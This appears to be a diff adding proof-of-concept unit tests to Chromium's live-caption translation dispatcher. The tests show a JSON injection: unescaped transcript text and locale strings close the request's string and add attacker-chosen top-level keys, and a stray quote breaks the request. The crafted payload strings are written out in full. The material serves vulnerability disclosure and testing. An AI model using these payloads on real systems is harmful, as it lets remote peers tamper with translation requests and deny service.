diff --git a/components/live_caption/google_api_translation_dispatcher_unittest.cc b/components/live_caption/google_api_translation_dispatcher_unittest.cc index ee1ed07e9ee38..d9490c1281aa8 100644 --- a/components/live_caption/google_api_translation_dispatcher_unittest.cc +++ b/components/live_caption/google_api_translation_dispatcher_unittest.cc @@ -4,6 +4,7 @@ #include "components/live_caption/google_api_translation_dispatcher.h" +#include "base/json/json_reader.h" #include "base/run_loop.h" #include "base/test/bind.h" #include "base/test/mock_callback.h" @@ -12,6 +13,8 @@ #include "services/network/public/cpp/url_loader_completion_status.h" #include "services/network/public/mojom/url_response_head.mojom.h" #include "services/network/test/test_url_loader_factory.h" +#include "services/network/test/test_utils.h" +#include "ui/base/l10n/l10n_util.h" #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" @@ -143,4 +146,146 @@ TEST_F(GoogleApiTranslationDispatcherTest, GetTranslationNetworkError) { translate_callback_run_loop.Run(); } +// ===================================================================== +// POC: CWE-116 — JSON injection via unescaped StringPrintf +// +// GoogleApiTranslationDispatcher::GetTranslation() builds the Cloud +// Translate request body by interpolating `result`, `source_language` +// and `target_language` into a JSON template with base::StringPrintf +// and no escaping. On the ChromeOS BabelOrca consumer path, `result` +// is the verbatim mojom::TranscriptPart.text supplied by a remote +// producer (or a compromised TachyonParsingService utility process), +// and `source_language` is the peer-supplied TranscriptPart.language +// gated only by l10n_util::IsValidLocaleSyntax(). +// +// These tests invoke the vulnerable sink directly and capture the +// outgoing POST body to prove that attacker-supplied `"` characters +// escape the intended JSON string and inject arbitrary top-level keys +// into the request sent from the browser process to +// translation.googleapis.com. +// ===================================================================== + +TEST_F(GoogleApiTranslationDispatcherTest, POC_JsonInjection_ViaTranscriptText) { + // Simulates a malicious mojom::TranscriptPart.text delivered from the + // remote BabelOrca producer (or a compromised TachyonParsingService). + // No escaping/validation is applied to this string anywhere on the + // BabelOrcaConsumer -> BabelOrcaCaptionTranslator -> GetTranslation path. + const std::string attacker_text = + R"(hi","model":"nmt","target":"ru","injected":"yes)"; + + base::RunLoop wait_for_request; + std::string captured_body; + test_url_loader_factory_.SetInterceptor( + base::BindLambdaForTesting([&](const network::ResourceRequest& request) { + captured_body = network::GetUploadData(request); + wait_for_request.Quit(); + })); + + base::MockCallback cb; + GetTranslation(attacker_text, /*source=*/"es", /*target=*/"en", cb); + wait_for_request.Run(); + + fprintf( + stderr, + "\n[POC] Browser-process POST body sent to translation.googleapis.com:\n" + "[POC] %s\n\n", + captured_body.c_str()); + + // The body that *should* have been produced if escaping were applied + // would keep the entire attacker payload inside the "q" string. Instead, + // the unescaped `"` lets the attacker close "q" and emit new top-level + // members. Parse the body and prove the injected keys landed at the top + // level of the JSON object. + std::optional dict = base::JSONReader::ReadDict( + captured_body, base::JSON_PARSE_CHROMIUM_EXTENSIONS); + ASSERT_TRUE(dict.has_value()) << "body: " << captured_body; + + // Attacker-injected key that does not exist in kTranslateBodyRequestTemplate. + const std::string* injected = dict->FindString("injected"); + ASSERT_NE(injected, nullptr) + << "attacker-controlled top-level key not present; injection failed"; + EXPECT_EQ(*injected, "yes"); + + // Attacker-injected `model` parameter (a real Cloud Translate v2 option). + const std::string* model = dict->FindString("model"); + ASSERT_NE(model, nullptr); + EXPECT_EQ(*model, "nmt"); + + // The `q` field has been truncated to the prefix before the first `"` — + // the rest of the attacker text became JSON structure, not translated text. + const std::string* q = dict->FindString("q"); + ASSERT_NE(q, nullptr); + EXPECT_EQ(*q, "hi"); + + fprintf(stderr, + "[POC] Injection confirmed: top-level keys \"injected\"=%s, " + "\"model\"=%s were added by remote-peer-controlled transcript text; " + "\"q\" was truncated to \"%s\".\n\n", + injected->c_str(), model->c_str(), q->c_str()); +} + +TEST_F(GoogleApiTranslationDispatcherTest, + POC_JsonInjection_ViaSourceLanguage) { + // The remote peer also controls TranscriptPart.language, which the + // BabelOrca path validates only with l10n_util::IsValidLocaleSyntax(). + // That check permits arbitrary bytes after '@' so long as one '=' is + // present in a plausible position, so a `"` can be smuggled through. + const std::string attacker_lang = R"(es@k=","injected":"src)"; + ASSERT_TRUE(l10n_util::IsValidLocaleSyntax(attacker_lang)) + << "precondition: attacker locale must pass the only gate on the " + "BabelOrca path"; + + base::RunLoop wait_for_request; + std::string captured_body; + test_url_loader_factory_.SetInterceptor( + base::BindLambdaForTesting([&](const network::ResourceRequest& request) { + captured_body = network::GetUploadData(request); + wait_for_request.Quit(); + })); + + base::MockCallback cb; + GetTranslation("hello", /*source=*/attacker_lang, /*target=*/"en", cb); + wait_for_request.Run(); + + fprintf(stderr, + "\n[POC] Body with attacker-controlled source_language:\n" + "[POC] %s\n\n", + captured_body.c_str()); + + std::optional dict = base::JSONReader::ReadDict( + captured_body, base::JSON_PARSE_CHROMIUM_EXTENSIONS); + ASSERT_TRUE(dict.has_value()) << "body: " << captured_body; + const std::string* injected = dict->FindString("injected"); + ASSERT_NE(injected, nullptr) + << "attacker-controlled top-level key via source_language not present"; + EXPECT_EQ(*injected, "src"); +} + +TEST_F(GoogleApiTranslationDispatcherTest, + POC_JsonInjection_BreakRequest) { + // A single stray `"` in the transcript text yields a syntactically + // invalid JSON body — functional DoS of Live Translate for the consumer. + base::RunLoop wait_for_request; + std::string captured_body; + test_url_loader_factory_.SetInterceptor( + base::BindLambdaForTesting([&](const network::ResourceRequest& request) { + captured_body = network::GetUploadData(request); + wait_for_request.Quit(); + })); + + base::MockCallback cb; + GetTranslation(R"(she said "stop")", "es", "en", cb); + wait_for_request.Run(); + + fprintf(stderr, + "\n[POC] Body with a single stray quote (DoS variant):\n" + "[POC] %s\n\n", + captured_body.c_str()); + + // base::JSONReader (RFC 8259) must reject this — and so will the Cloud + // Translate API, breaking translation for the victim. + EXPECT_FALSE( + base::JSONReader::Read(captured_body, base::JSON_PARSE_RFC).has_value()); +} + } // namespace captions